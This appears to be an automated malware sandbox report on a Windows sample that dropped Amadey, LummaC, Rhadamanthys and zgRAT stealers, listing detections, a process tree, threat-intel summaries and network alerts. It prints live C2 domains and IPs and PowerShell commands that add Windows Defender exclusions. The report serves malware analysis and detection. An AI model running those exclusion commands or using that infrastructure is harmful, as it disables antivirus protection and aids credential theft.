Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578726
MD5:	5bcc85cf578615240ebb1808bb7a05c0
SHA1:	271e542f554ea879dbffc67a83262ce63dfa5a22
SHA256:	8370e88ac5befe61ac995afffad27892681dc44a854a50a028a977cdc945f1fc
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected zgRAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7540 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5BCC85CF578615240EBB1808BB7A05C0)

skotes.exe (PID: 7732 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5BCC85CF578615240EBB1808BB7A05C0)

skotes.exe (PID: 5808 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5BCC85CF578615240EBB1808BB7A05C0)

44098beb09.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

44098beb09.exe (PID: 7428 cmdline: "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

44098beb09.exe (PID: 7528 cmdline: "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

44098beb09.exe (PID: 3288 cmdline: "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

44098beb09.exe (PID: 7728 cmdline: "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

7349a3c308.exe (PID: 7612 cmdline: "C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe" MD5: FF279F4E5B1C6FBDA804D2437C2DBDC8)

63ebe314bb.exe (PID: 1196 cmdline: "C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe" MD5: 89D52C06DE454745F595A572867544F4)

svchost.exe (PID: 5740 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 3412 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 676 MD5: C31336C1EFC2CCB44B4326EA793040F2)

d3ba7fdf70.exe (PID: 2488 cmdline: "C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe" MD5: 14BECDF1E2402E9AA6C2BE0E6167041E)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8044 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7144 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

2f3190c49d.exe (PID: 7968 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 3128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

2f3190c49d.exe (PID: 1148 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 5312 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 1168 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 5376 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 2848 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 1340 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 1284 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 5592 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 3176 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 1464 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 1820 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 2024 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 2112 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 5652 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 2328 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 3408 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 7240 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 3588 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 5292 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

2f3190c49d.exe (PID: 2668 cmdline: "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "necklacebudi.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "aspecteirs.lat", "pancakedipyps.click", "discokeyus.lat", "crosshuaht.lat"], "Build id": "FATE99--test"}

Threatname: Rhadamanthys

{"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000003.2628315263.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000000.00000003.1688419079.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2659449824.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000003.2636944370.0000000005060000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2633120606.0000000002F10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000D.00000003.2632161414.0000000005420000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000001.00000003.1712503355.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2282606769.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2645486953.0000000002F20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000003.2633275336.0000000004D00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: 7349a3c308.exe PID: 7612	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7349a3c308.exe PID: 7612	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7349a3c308.exe PID: 7612	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 63ebe314bb.exe PID: 1196	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 5740	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.a40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.44098beb09.exe.37694e0.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.3.63ebe314bb.exe.5200000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
5.2.skotes.exe.900000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.0.44098beb09.exe.130000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.0.44098beb09.exe.130000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.3.63ebe314bb.exe.5420000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.3.svchost.exe.5060000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.3.svchost.exe.4e40000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.3.svchost.exe.5060000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
1.2.skotes.exe.900000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.44098beb09.exe.3723198.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.44098beb09.exe.3723198.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
6.2.44098beb09.exe.3723198.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.44098beb09.exe.3723198.2.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x96a23:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x968a7:$s3: {11111-22222-50001-00000} 0x948e7:$s4: get_Module 0xe890:$s5: Reverse 0x84ebe:$s5: Reverse 0x11c92f:$s5: Reverse 0xcd07:$s6: BlockCopy 0x84ba8:$s7: ReadByte 0x96a35:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
6.2.44098beb09.exe.37694e0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.44098beb09.exe.37694e0.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe, ParentProcessId: 2488, ParentProcessName: d3ba7fdf70.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo", ProcessId: 8044, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe, ParentProcessId: 1196, ParentProcessName: 63ebe314bb.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5740, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe, ParentProcessId: 2488, ParentProcessName: d3ba7fdf70.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo", ProcessId: 8044, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe, ParentProcessId: 1196, ParentProcessName: 63ebe314bb.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5740, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:11:03.865827+0100	2028371	3	Unknown Traffic	192.168.2.4	49954	104.21.66.85	443	TCP
2024-12-20T09:11:03.865827+0100	2028371	3	Unknown Traffic	192.168.2.4	49953	104.21.91.209	443	TCP
2024-12-20T09:12:17.799002+0100	2028371	3	Unknown Traffic	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:19.792209+0100	2028371	3	Unknown Traffic	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:22.341539+0100	2028371	3	Unknown Traffic	192.168.2.4	49791	172.67.131.246	443	TCP
2024-12-20T09:12:25.073337+0100	2028371	3	Unknown Traffic	192.168.2.4	49799	172.67.131.246	443	TCP
2024-12-20T09:12:27.258415+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	104.21.67.146	443	TCP
2024-12-20T09:12:27.374830+0100	2028371	3	Unknown Traffic	192.168.2.4	49807	172.67.131.246	443	TCP
2024-12-20T09:12:29.034954+0100	2028371	3	Unknown Traffic	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-20T09:12:29.689630+0100	2028371	3	Unknown Traffic	192.168.2.4	49815	172.67.131.246	443	TCP
2024-12-20T09:12:31.542999+0100	2028371	3	Unknown Traffic	192.168.2.4	49821	104.21.67.146	443	TCP
2024-12-20T09:12:32.151734+0100	2028371	3	Unknown Traffic	192.168.2.4	49822	172.67.131.246	443	TCP
2024-12-20T09:12:34.612109+0100	2028371	3	Unknown Traffic	192.168.2.4	49828	104.21.67.146	443	TCP
2024-12-20T09:12:35.796154+0100	2028371	3	Unknown Traffic	192.168.2.4	49835	172.67.131.246	443	TCP
2024-12-20T09:12:37.389486+0100	2028371	3	Unknown Traffic	192.168.2.4	49840	104.21.67.146	443	TCP
2024-12-20T09:12:40.296721+0100	2028371	3	Unknown Traffic	192.168.2.4	49848	104.21.67.146	443	TCP
2024-12-20T09:12:43.005235+0100	2028371	3	Unknown Traffic	192.168.2.4	49856	104.21.67.146	443	TCP
2024-12-20T09:12:46.946559+0100	2028371	3	Unknown Traffic	192.168.2.4	49867	104.21.67.146	443	TCP
2024-12-20T09:12:55.235023+0100	2028371	3	Unknown Traffic	192.168.2.4	49890	104.21.91.209	443	TCP
2024-12-20T09:12:57.503659+0100	2028371	3	Unknown Traffic	192.168.2.4	49897	104.21.91.209	443	TCP
2024-12-20T09:12:59.544458+0100	2028371	3	Unknown Traffic	192.168.2.4	49903	104.21.66.85	443	TCP
2024-12-20T09:12:59.832967+0100	2028371	3	Unknown Traffic	192.168.2.4	49906	104.21.91.209	443	TCP
2024-12-20T09:13:01.559271+0100	2028371	3	Unknown Traffic	192.168.2.4	49910	104.21.66.85	443	TCP
2024-12-20T09:13:01.994349+0100	2028371	3	Unknown Traffic	192.168.2.4	49913	104.21.91.209	443	TCP
2024-12-20T09:13:04.334307+0100	2028371	3	Unknown Traffic	192.168.2.4	49923	104.21.91.209	443	TCP
2024-12-20T09:13:06.589777+0100	2028371	3	Unknown Traffic	192.168.2.4	49932	104.21.66.85	443	TCP
2024-12-20T09:13:06.590909+0100	2028371	3	Unknown Traffic	192.168.2.4	49931	104.21.91.209	443	TCP
2024-12-20T09:13:08.769763+0100	2028371	3	Unknown Traffic	192.168.2.4	49939	104.21.66.85	443	TCP
2024-12-20T09:13:09.467327+0100	2028371	3	Unknown Traffic	192.168.2.4	49941	104.21.91.209	443	TCP
2024-12-20T09:13:10.888157+0100	2028371	3	Unknown Traffic	192.168.2.4	49947	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T09:11:20.372898+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49953	104.21.91.209	443	TCP
2024-12-20T09:12:18.542365+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:20.570018+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:27.687932+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49806	104.21.67.146	443	TCP
